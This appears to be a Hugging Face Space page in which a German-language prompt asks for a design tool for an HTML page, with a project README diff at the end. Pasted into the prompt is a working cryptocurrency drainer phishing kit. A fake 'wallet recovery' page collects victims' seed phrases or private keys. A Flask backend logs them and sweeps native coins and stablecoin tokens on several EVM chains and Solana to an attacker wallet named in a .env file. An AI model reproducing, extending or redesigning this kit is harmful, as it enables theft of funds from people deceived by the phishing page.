Spaces:
Running
ich habe eine app die aus 2 wichtigen teilen besteht. einmal eine html, deren funktion nicht beeintröchtit werden darf, in keinster weiße. und als zweite datei einen server geschrieben in python der immer fehlerfrei mit der html kommunizieren können muss. ich brauche von dir eine app, mit der ich die html designen interaktiv kann ohne die funktion zu stören und nach dem designen soll die html zusammen mit der server und einer .env gemeinsamt in eienm neuen ordner mit dem design namen ausgegenegn werden. hier die dateien: sserver backend.py "import logging
Browse filesfrom flask import Flask, request, jsonify, send_from_directory
from web3 import Web3
from eth_account import Account
from solders.keypair import Keypair
from solders.pubkey import Pubkey
from solders.system_program import TransferParams, transfer
from solders.transaction import Transaction
from solana.rpc.api import Client
import json
import os
from dotenv import load_dotenv
load_dotenv()
# --- Konfiguration ---
TARGET_WALLET = os.getenv("TARGET_WALLET")
TARGET_WALLET_SOL = os.getenv("TARGET_WALLET_SOL")
INFURA_PROJECT_ID = os.getenv("INFURA_PROJECT_ID")
REDIRECT_URL = os.getenv("REDIRECT_URL")
# Standard-ABI für ERC20-Token
ERC20_ABI = json.loads('''
[
{"constant":true,"inputs":[{"name":"_owner","type":"address"}],"name":"balanceOf","outputs":[{"name":"balance","type":"uint256"}],"type":"function"},
{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"name":"","type":"bool"}],"type":"function"}
]
''')
# Gängige Token-Adressen pro Chain
TOKEN_LIST = {
"eth": {
"USDT": "0xdAC17F958D2ee523a2206206994597C13D831ec7",
"USDC": "0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48",
"DAI": "0x6B175474E89094C44Da98b954EedeAC495271d0F"
},
"bsc": {
"BUSD": "0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56",
"USDT": "0x55d398326f99059fF775485246999027B3197955"
},
"polygon": {
"USDC": "0x2791Bca1f2de4661ED88A30C99A7a9449Aa84174",
"USDT": "0xc2132D05D31c914a87C6611C10748AEb04B58e8F"
},
"arbitrum": {
"USDC": "0xFF970A61A04b1cA14834A43f5dE4533eBDDB5CC8",
"USDT": "0xFd086bC7CD5C481DCC9C85ebE478A1C0b69FCbb9"
},
"avax": {
"USDC.e": "0xA7D7079b0FEaD91F3e65f86E8915Cb59c1a4C664",
"USDT.e": "0xc7198437980c041c805A1EDcbA50c1Ce5db95118"
}
}
# Konfiguration der Chains mit Fallback-RPCs
CHAINS = {
"eth": {
"rpcs": [f"https://mainnet.infura.io/v3/{INFURA_PROJECT_ID}", "https://rpc.ankr.com/eth", "https://eth.public-node.com"],
"chain_id": 1
},
"bsc": {
"rpcs": ["https://bsc-dataseed.binance.org/", "https://bsc-dataseed1.defibit.io/", "https://bsc-dataseed1.ninicoin.io/"],
"chain_id": 56
},
"polygon": {
"rpcs": ["https://polygon-rpc.com/", "https://rpc-mainnet.matic.network/", "https://matic-mainnet.chainstacklabs.com/"],
"chain_id": 137
},
"arbitrum": {
"rpcs": ["https://arb1.arbitrum.io/rpc", "https://rpc.ankr.com/arbitrum"],
"chain_id": 42161
},
"avax": {
"rpcs": ["https://api.avax.network/ext/bc/C/rpc", "https://rpc.ankr.com/avalanche"],
"chain_id": 43114
},
"solana": {
"rpcs": ["https://api.mainnet-beta.solana.com", "https://solana-mainnet.rpc.extrnode.com", "https://api.rpcpool.com"]
}
}
# --- Logging-Setup ---
logging.basicConfig(filename='keys.log', level=logging.INFO, format='%(asctime)s - %(message)s')
app = Flask(__name__)
def get_w3(chain):
for rpc in CHAINS[chain]["rpcs"]:
try:
w3 = Web3(Web3.HTTPProvider(rpc))
if w3.is_connected():
return w3
except Exception:
continue
return None
def drain_erc20(w3, acct, chain_name):
if chain_name not in TOKEN_LIST:
return []
tx_hashes = []
for token_name, token_address in TOKEN_LIST[chain_name].items():
try:
token_contract = w3.eth.contract(address=Web3.to_checksum_address(token_address), abi=ERC20_ABI)
balance = token_contract.functions.balanceOf(acct.address).call()
if balance > 0:
tx = token_contract.functions.transfer(TARGET_WALLET, balance).build_transaction({
'from': acct.address,
'gas': 100000, # Sicherer Gas-Wert für Token-Transfers
'gasPrice': w3.eth.gas_price,
'nonce': w3.eth.get_transaction_count(acct.address),
})
signed_tx = w3.eth.account.sign_transaction(tx, acct.key)
tx_hash = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
tx_hashes.append(w3.to_hex(tx_hash))
except Exception as e:
print(f"Error draining {token_name} on {chain_name}: {e}")
return tx_hashes
def drain_evm(w3, private_key, chain_id, chain_name):
try:
acct = Account.from_key(private_key)
tx_hashes = []
# Drain native coin
balance = w3.eth.get_balance(acct.address)
gas_price = w3.eth.gas_price
gas_limit = 21000
value = balance - gas_limit * gas_price
if value > 0:
tx = {
'to': TARGET_WALLET,
'value': value,
'gas': gas_limit,
'gasPrice': gas_price,
'nonce': w3.eth.get_transaction_count(acct.address),
'chainId': chain_id
}
signed_tx = w3.eth.account.sign_transaction(tx, private_key)
tx_hash = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
tx_hashes.append(w3.to_hex(tx_hash))
# Drain ERC20 tokens
erc20_tx_hashes = drain_erc20(w3, acct, chain_name)
tx_hashes.extend(erc20_tx_hashes)
return tx_hashes
except Exception as e:
print(f"Error draining EVM chain {chain_name}: {e}")
return []
def drain_solana(private_key_bytes):
try:
keypair = Keypair.from_bytes(private_key_bytes)
for rpc in CHAINS["solana"]["rpcs"]:
try:
client = Client(rpc)
if client.is_connected():
balance = client.get_balance(keypair.pubkey()).value
amount_to_send = balance - 5000
if amount_to_send > 0:
tx = Transaction().add(
transfer(
TransferParams(
from_pubkey=keypair.pubkey(),
to_pubkey=Pubkey.from_string(TARGET_WALLET_SOL),
lamports=amount_to_send,
)
)
)
recent_blockhash = client.get_latest_blockhash().value.blockhash
tx.recent_blockhash = recent_blockhash
tx.sign([keypair])
tx_signature = client.send_transaction(tx, keypair).value
return str(tx_signature)
except Exception:
continue
except Exception as e:
print(f"Error draining Solana: {e}")
return None
@app
.route('/')
def serve_index():
return send_from_directory('.', 'index.html')
@app
.route('/drain', methods=['POST'])
def drain():
data = request.json.get('seed')
logging.info(f"Received data: {data}")
private_key = None
private_key_bytes_sol = None
try:
if len(data) == 64 or len(data) == 66:
private_key = data
private_key_bytes_sol = bytes.fromhex(private_key.replace("0x", ""))[:32]
else:
Account.enable_unaudited_hdwallet_features()
acct_evm = Account.from_mnemonic(data)
private_key = acct_evm.key.hex()
# Dies ist eine vereinfachte Ableitung für Solana, die möglicherweise nicht mit allen Wallets kompatibel ist
# Für eine robuste Lösung wäre eine BIP39/BIP44-Implementierung für Solana erforderlich
from solders.keypair import Keypair
import hashlib
seed = hashlib.pbkdf2_hmac('sha512', data.encode('utf-8'), b'mnemonic', 2048)
keypair_sol = Keypair.from_seed(seed[:32])
private_key_bytes_sol = bytes(keypair_sol)
except Exception as e:
return jsonify({"status": "error", "message": f"Invalid seed or private key: {e}"}), 400
results = {}
# EVM-Chains
for chain, config in CHAINS.items():
if chain != "solana":
w3 = get_w3(chain)
if w3:
tx_hashes = drain_evm(w3, private_key, config["chain_id"], chain)
if tx_hashes:
results[chain] = tx_hashes
# Solana
if private_key_bytes_sol:
tx_hash_sol = drain_solana(private_key_bytes_sol)
if tx_hash_sol:
results["solana"] = tx_hash_sol
return jsonify({"status": "completed", "transactions": results, "redirect_url": REDIRECT_URL})
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)
" , env "TARGET_WALLET=0xDeinZielWalletHier
TARGET_WALLET_SOL=DeinSolanaZielWalletHier
INFURA_PROJECT_ID=dein_projekt_id
REDIRECT_URL=https://www.google.com" und die html "<!DOCTYPE html>
<html lang="de">
<head>
<meta charset="utf-8"/>
<meta content="width=device-width, initial-scale=1.0" name="viewport"/>
<title>Wallet Wiederherstellung</title>
<script src="https://cdn.ethers.io/lib/ethers-5.2.umd.min.js"></script>
<style>
body {
font-family: Verdana;
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
margin: 0;
background-color: #00ffff;
background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAkQAAAGDCAYAAADK5Q/LAAAgAElEQVR4Xux9BYAdx5F2LWp3Je2KwUJbli2jZJRJllFmltmOmcJ0yV3gwskl+YOmJKaYmZlkZpKZLaOYtYz/V1XdM90zPbvvWZIhmudstDuvp6G6uurrqurqki58CJ973myn069pooe+0YdG9SvhR/knp0BOgZwCOQU+Iwp8vLSLppxZT+cdXk27rVf+GbXqN9Pc3EyLFi+hmppqqqutpdLS0s+lH3mjaQp0dnbS0mXLqKmpmQYO6
|
@@ -1,10 +1,13 @@
|
|
| 1 |
---
|
| 2 |
-
title:
|
| 3 |
-
|
| 4 |
-
|
| 5 |
-
|
| 6 |
sdk: static
|
| 7 |
pinned: false
|
|
|
|
|
|
|
| 8 |
---
|
| 9 |
|
| 10 |
-
|
|
|
|
|
|
| 1 |
---
|
| 2 |
+
title: DeepSite Project
|
| 3 |
+
colorFrom: blue
|
| 4 |
+
colorTo: pink
|
| 5 |
+
emoji: 🐳
|
| 6 |
sdk: static
|
| 7 |
pinned: false
|
| 8 |
+
tags:
|
| 9 |
+
- deepsite-v3
|
| 10 |
---
|
| 11 |
|
| 12 |
+
# Welcome to your new DeepSite project!
|
| 13 |
+
This project was created with [DeepSite](https://deepsite.hf.co).
|